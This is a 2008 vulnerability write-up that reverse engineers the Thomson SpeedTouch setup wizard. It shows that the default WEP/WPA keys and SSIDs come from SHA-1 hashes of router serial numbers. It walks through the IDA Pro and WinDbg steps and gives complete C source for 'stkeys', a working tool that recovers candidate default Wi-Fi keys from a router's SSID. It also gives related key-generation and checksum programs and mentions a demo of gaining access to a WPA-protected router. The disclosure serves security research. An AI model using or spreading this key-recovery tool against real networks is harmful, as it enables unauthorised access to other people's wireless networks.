[ Default WEP/WPA key algorithm for Thomson routers ]

    Author: Kevin Devine <wyse101 0x40 gmail.com>
    WWW:    http://weiss.u40.hosting.digiweb.ie/
    Date:   April 2008

  [ Tools

    Hardware used

       * SpeedTouch 585v6 Wireless Router
       * SpeedTouch 123 G USB adapter

    Software used

       * stInstall.exe build 064
       * IDA Pro 4.3 Freeware
       * Windows Debugging Tools
       * PEiD with KANAL plugin

    The algorithm was found inside the stInstall.exe setup wizard which accompanies
    the CD-ROM provided by some ISP's around the world.

    The version i obtained is distributed by ORANGE in Spain
    I've modified the configuration file to display english instead of spanish.

The software appears to be intended mainly for either a 121-G USB adapter or 110 PCMCIA card, however its possible to configure other adapters using the 'plugin' interface. The 123 G adapter worked fine without any plugin.
There is a hidden switch '-guiTest' which if run as a parameter to stInstall will display roughly 24 windows related to configuration of a Thomson router. The -log parameter generates interesting debug information. The -configKey: parameter also helps understand the format of a serial number.
The -h parameter displays the following.
First thing to do is load the exe into PEiD and see what, if any crypto algorithms can be detected as this is usually the main method of key generation for routers. Krypto Analyzer reports a reference to SHA-1 - take note of this value for later.
Load stinstall.exe into IDA Pro. Allow IDA to complete disassembly. (which can take some time depending on the version of IDA and how fast your computer is) Hit 'g' inside the IDA window and type in the reference to SHA-1 from KANAL
I have 00475315 as you can see, hit return and we land somewhere inside a SHA-1 routine. Hit Alt+P and you'll see [Name of function] field, copy it, then close the window with 'Esc' key.
Hit 'g' again and paste in the function name, hit return.. Now you're at the very beginning of the KANAL referenced function. If you're familiar with SHA-1, you'll know there are 3 main functions and its these that we should search for. SHA1Init() - initialize a context SHA1Update() - update a context with input SHA1Final() - finalize a context, storing the result in output buffer. Of course, they will not be named this in IDA Pro, but can be found by cross-referencing the SHA-1 code we've already found using the 'x' command. I've determined already that this is the main compression routine which i've renamed SHA1Transform using the 'n' command.
Although much more could be discussed, such as where input is validated - We have enough information to perform debugging and analyze input to this function. Start WinDbg or whatever debugger you're comfortable working with. This version of IDA has built-in debugger, but i believe WinDbg is more suitable for the task. Assuming you've already installed any necessary USB/PCMCIA drivers, insert the wireless adapter you have before debugging the wizard. Open the stinstall.exe file with windbg [File->Open Executable] After windbg initializes, hit F5 to run. Depending on the configuration file and the plugins available to the wizard, you may or may not get the following window.Click Yes.
Just to note, the following is configuration used here, taken from the default file stinstall.config on the CD-ROM. (alot of stuff stripped out)
The following is a list of plugins that were available, also from the CD-ROM:
Using the above configuration & plugins, a window is displayed requesting input of the serial number from the base of the router.
At this point, interrupt the debugger using Ctrl+Break Set breakpoint on the SHA1Transform routine with 'bp 00473D9E' Hit F5 to resume execution, type in the serial number, in my case [CP0615JT109] [53] Just as the last digit is entered, WinDbg breaks at the entry point of SHA1Transform.
Investigating the stack can be done using the dump memory commands. Consult the WinDbg documentation for details of these.
The first value on the stack is the return address of the calling routine, assumed to be either SHA1Update() or SHA1Final() The second arguement is the SHA-1 context, initialized with the 5 default 32-bit values.
The third arguement is the actual data input used to update the context and as you can see consists of the serial number i entered.
Rather than step through each instruction right til the end of the function, we find the end of the routine with 'uf 00473D9E' and set a breakpoint on the end address 'bp 00475927' Tip: 'pt' command (step to next return) does the same thing.
Hit F5 again and our breakpoint stops execution at the end of the function. Using the same address as before, dump memory of the now updated SHA-1 context.
And lets look at that default wireless pre-shared key..
As you can see, after 1 call to SHA-1 using the formatted serial number, it generates the default WEP/WPA key based on first 40 bits. 742da831d2 b657fa53d347301ec610e1eb f8a3d0 The last 24-bits of the hash are converted to ascii and appended to the word SpeedTouch to create the default SSID.
Here is what we know so far.. The format of a serial number: CP YY WW PP XXX (CC) And from what i can tell of the following serial number taken from router i received. CP 06 15 JT 109 (53) YY is the year produced. ( 2006 ) ? WW is the week of year. ( some week of April ) ? PP is the production code. ( JT ) factory code? CC is the configuration code? ( 53 ) seems to be 00 - FF (0-9/A-F) (more like checksum byte) I can only guess that the XXX values represent the unit number To generate a default WEP/WPA key Remove the CC and PP values "CP0615109" Convert the XXX values to hexadecimal. "CP0615313039" Process with SHA-1 742da831d2b657fa53d347301ec610e1ebf8a3d0 The last 3 bytes are converted to 6 byte string, and appended to the word "SpeedTouch" which becomes the default SSID. "SpeedTouchF8A3D0" The first 5 bytes are converted to a 10 byte string which becomes the default WEP/WPA key. "742DA831D2" Thats it.. **************************************************************** [ Recovery With further analysis of the validation routine, it may be possible to recover a key based on the MAC. 'stkeys' is a simple program which attempts to find default keys based on the default SSID octets that appear after the word SpeedTouch. It works simply by generating serial numbers, hashing with SHA-1 and comparing last 3 bytes with 3 octets of default SSID supplied to it. When a match is found, a *potential* key is printed.
To see this in action, below is a short flash demonstration showing access gained to a SpeedTouch 585v6 with WPA enabled by default. (ensure looping is off)
Flash Demo
[ Final Notes Initially i planned to leave out code or details of the serial number validation and other key generation routines in order to keep the document short. I've included some below for reference mainly. The following snapshots show assembly routines initialize a 256 byte array, used to validate the serial number.
For readers interest, the following is equivilant in C. As example, getting config code of "CP0615JT109" Note: This is more like a checksum routine to ensure the user hasn't entered serial number incorrectly. Calling it a configuration code is a bit mis-leading..have to admit - its initially what i thought it was. gencode 0615JT109 SpeedTouch [C]hecksum [C]ode: ( 53 ) ------------------- begin gencode.c /* Author: Kevin Devine <wyse101 0x40 gmail.com> WWW: http://weiss.u40.hosting.digiweb.ie/ Date: April 2008 used to calculate checksum byte of serial number for Thomson router */ #include <stdio.h> #include <stdlib.h> #include <string.h> typedef unsigned int u32; typedef unsigned char u8; u8 numTable[256+1]; void createTable(u8 initVal) { u32 i,j; u8 x,y; if(numTable[256] != initVal) { numTable[256] = initVal; for(i = 0;i < 256;i++) { x = i; for(j = 0;j < 8;j++) { y = (x >> 7); x <<= 1; if( y & y ) x ^= numTable[256]; } numTable[i] = x; } } } int main(int argc, char **argv) { u8 sumCode = 0,*p; if(--argc && (strlen(argv[1])) == 9) { createTable(7); for(p = argv[1];*p = toupper(*p);p++) sumCode = numTable[ (sumCode ^ *p) ] ^ (sumCode << 8); /* note: this is more like a checksum than configuration code */ fprintf(stdout,"\nSpeedTouch [C]hecksum [C]ode: ( %.2x )\n\n",sumCode); } else fprintf(stdout,"\n%s <SERIAL NUMBER>\n\n",argv[0]); return(0); } ------------------- end gencode.c The "other" key generation algorithm using some input and the mysterious string "ViveLaFrance!" It generates 26 bytes of output - i have no idea what its used for,(probably WEP key) my guess is another device using different configuration.
------------------- begin vive.c /* Author: Kevin Devine <wyse101 0x40 gmail.com> WWW: http://weiss.u40.hosting.digiweb.ie/ Date: April 2008 example input: CP0615JT109 this is 1 other key generation algorithm */ #include <stdio.h> #include <stdlib.h> #include <string.h> typedef unsigned int u32; typedef unsigned char u8; u8 secret[]="ViveLaFrance!\0"; int main(int argc, char **argv) { u8 key[26+1]; u8 serialNumber[8]={0}; u8 *out = key; u8 x,y; u32 i; if( argc == 2 && strlen(argv[1]) == 11) { serialNumber[0] = argv[1][4]; serialNumber[1] = argv[1][5]; serialNumber[2] = argv[1][8]; serialNumber[3] = argv[1][9]; serialNumber[4] = argv[1][10]; fprintf(stdout,"\nProcessing %s\n",serialNumber); for(i = 0;i < 13;i++) { x = (secret[i] ^ serialNumber[i % 5]); y = (x & 0x0f); x = (x & 0xf0) >> 4; *out++ = (x >= 10) ? (x + '7') : (x + '0'); *out++ = (y >= 10) ? (y + '7') : (y + '0'); } fprintf(stdout,"Key = %s\n\n",key); } else fprintf(stdout,"\nUsage:%s <SERIAL NUMBER>\n\n",argv[0]); } ------------------- end vive.c There is one other, which generates a SHA-1 hash based on the serial number, or some input..but the actual SHA-1 context is set to zero. 26 bytes of the generated hash are returned as string..its in same location as ViveLaFrance! function. its probably a wep key algorithm for some older SpeedTouch models. *shrug* ------------------- begin other.c /* Author: Kevin Devine <wyse101 0x40 gmail.com> WWW: http://weiss.u40.hosting.digiweb.ie/ Date: April 2008 example input: CP0615JT109 it wasn't possible to debug the binary and see what input was requested, so i can't say what input it requests for certain. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #ifdef linux #include <openssl/sha.h> #define SHA1_Final(x,y) SHA1_Final(y,x) #else #include "sha1.h" #define SHA1_Init SHA1Reset #define SHA1_Update SHA1Input #define SHA1_Final SHA1Result #define SHA_CTX SHA1Context #endif typedef unsigned int u32; typedef unsigned char u8; int main(int argc, char **argv) { u8 key[32]={0}; SHA_CTX sha1_ctx; u8 sha1_digest[32]; u32 i; if( argc == 2 && strlen(argv[1]) == 11 ) { SHA1_Init(&sha1_ctx); /* set the context to zero */ ((u32*)&sha1_ctx)[0] = 0; ((u32*)&sha1_ctx)[1] = 0; ((u32*)&sha1_ctx)[2] = 0; ((u32*)&sha1_ctx)[3] = 0; ((u32*)&sha1_ctx)[4] = 0; SHA1_Update(&sha1_ctx,argv[1],strlen(argv[1])); SHA1_Final(&sha1_ctx,sha1_digest); /* format 26 bytes */ for(i = 0;i < 13;i++) sprintf(&key[i*2],"%.2X",sha1_digest[i]); fprintf(stdout,"\nKey = %s\n\n",key); } else fprintf(stdout,"\nUsage:%s <SERIAL NUMBER>\n\n",argv[0]); } ------------------- end other.c [ More debugging As said previously with the number of calls to SHA1Transform multiple times, you can watch this in realtime using the following 2 WinDbg statements. bp 00473d9e ".echo SHA-1 Context:;dd /c 5 poi(esp+4) L5;.echo SHA-1 Input:;db /c 16 poi(esp+8) L16;g" bp 00475927 ".echo SHA-1 Result:;dd /c 5 poi(esp+4) L5;g" The following is output of my own serial number entered: SHA-1 Context: 0012f630 67452301 efcdab89 98badcfe 10325476 c3d2e1f0 SHA-1 Input: 0012f64c 43 50 30 36 31 35 33 31-33 30 33 39 80 00 00 00 00 00 00 00 00 00 CP0615313039.......... SHA-1 Result: 0012f630 742da831 d2b657fa 53d34730 1ec610e1 ebf8a3d0 SHA-1 Context: 0012f630 00000000 00000000 00000000 00000000 00000000 SHA-1 Input: 0012f64c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...................... SHA-1 Result: 0012f630 9e1547ed 57ec91c2 30fa8bc8 c7785a54 a7efa5e3 other data omitted... No idea why its called anymore than once with same values.. Didn't investigate it close enough. [ code all C source code in document optimized version in C binary + source of optimized version ---------------------------------------------------- begin stkeys.c /* ************************************************************************** * * * Default WEP/WPA key generation for Thomson series wireless routers * * * * Date: March 15th 2008 * * Author: Kevin Devine <wyse101@gmail.com> * * WWW: http://weiss.u40.hosting.digiweb.ie/ * * * ************************************************************************** AFAIK, this is a well known problem by some ISP. It is likely to affect any owner of a Thomson wireless router with default settings installed. To compile using gcc: gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys If on Linux, replace the sha1.c parameter with: -l crypto Example usage for ST585v6 router: SSID: "SpeedTouchF8A3D0": c:\stkeys -v -iF8A3D0 Serial Number: CP0615**109 - potential key = 742DA831D2 <- this is the right one Serial Number: CP0621**AHJ - potential key = 00651124D9 Found 2 potential keys. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <getopt.h> #ifdef linux #include <openssl/sha.h> #define SHA1Final(x,y) SHA1_Final(y,x) #else #include "sha1.h" #define SHA1Init SHA1Reset #define SHA1Update SHA1Input #define SHA1Final SHA1Result #define SHA_CTX SHA1Context #endif typedef unsigned char u8; typedef unsigned int u32; const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const u8 hexTable[]="0123456789ABCDEF"; u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; #define SERIAL_LENGTH 12 #define MAX_SSID_OCTETS 6 #define DEFAULT_KEY_SIZE 5 #define hexmsb(x)(hexTable[((x & 0xf0) >> 4)]) #define hexlsb(x)(hexTable[ (x & 0x0f)]) void usage(char **argv) { fprintf(stdout,"\n\tUsage: %s [ -i <ssid octets> ] [ -o <output file> ]\n" "\n\t -i : SSID octets from Thomson router" "\n\t -o : Specifies output file for potential keys" "\n\t -v : Print key to stdout when potential key found\n\n",*argv); exit(0); } /* * convert hexadecimal ssid string to binary * return 0 on error or binary length of string * */ u32 str2ssid(u8 ssid[],u8 *str) { u8 *p,*q = ssid; u32 len = strlen(str); if( (len % 2) || (len > MAX_SSID_OCTETS) ) return(0); for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) { if(--len % 2) { *q = ((u8*)strchr(hexTable,*p++) - hexTable); *q <<= 4; } else { *q++ |= ((u8*)strchr(hexTable,*p++) - hexTable); } } return( (len) ? 0 : (p - str) / 2); } /* * print 5 bytes to output file * */ void dump_key(FILE *out, u8 *key) { u32 i; u8 *p = key; for(i = 0;i < DEFAULT_KEY_SIZE;i++) fprintf(out,"%.2X",*p++); fprintf(out,"\n"); } int main(int argc, char **argv) { u8 sha1_digest[40]={0}; u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3; u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0; u8 *strId = NULL; FILE *ofile = NULL; SHA_CTX sha1_ctx; if(argc > 1) { while( (opt = getopt(argc, argv,"vo:i:")) != -1) { switch(opt) { case 'i' : strId = optarg; break; case 'o' : if((ofile = fopen(optarg,"wb")) == NULL) { fprintf(stderr,"\nCannot open %s for output.\n",optarg); return(0); } break; case 'v' : verbose++; break; default: usage(argv); } } if(!strId) usage(argv); if(!(ssidLen = str2ssid(ssid,strId))) usage(argv); fprintf(stdout,"\nGenerating keys..please wait\n\n"); // generate values only for 2005/2006..change if you want. for(year = 5;year <= 6;year++) { serial[3] = year | '0'; // 52 weeks of the year for(week = 1;week <= 52;week++) { serial[4] = (week / 10) + '0'; serial[5] = (week % 10) + '0'; for(x1 = 0;x1 < 36;x1++) { serial[6] = hexmsb(charTable[x1]); serial[7] = hexlsb(charTable[x1]); for(x2 = 0;x2 < 36;x2++) { serial[8] = hexmsb(charTable[x2]); serial[9] = hexlsb(charTable[x2]); for(x3 = 0;x3 < 36;x3++) { serial[10] = hexmsb(charTable[x3]); serial[11] = hexlsb(charTable[x3]); // hash serial number with sha-1 SHA1Init(&sha1_ctx); SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH); SHA1Final(&sha1_ctx,sha1_digest); // compare SSID octets with last number of bytes supplied if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) { keys++; if(verbose) { memcpy(buf,serial,6); fprintf(stdout, "Serial Number: %s**%C%C%C - potential key = ", buf,charTable[x1],charTable[x2],charTable[x3]); dump_key(stdout,sha1_digest); } if(ofile) { dump_key(ofile,sha1_digest); } } } } } } } fprintf(stdout,"\nFound %d potential keys.\n",keys); if(ofile) fclose(ofile); } else { usage(argv); } return(0); } ---------------------------------------------------- end stkeys.c [ Conclusion If you haven't known before how easy it is to reverse engineer a setup wizard for routers, you should do now. As much as i would like to investigate other routers which exhibit similar issues, thats an excercise left to you! I hope this information has been helpful. [ Credits People who helped with this.. 'hrodgar' and 'pazienzia' for providing SpeedTouch router and CD-ROM aswell as other valuable information. Renzo and 'bonebags' for the usb adapter. GNUCitizen for feedback,advice and support! [ Links "Default WEP key algorithm for Netopia routers" For any Spanish readers, you can find discussion about Thomson routers in the following forums: Foro seguridadwireless.net Foro elhacker.net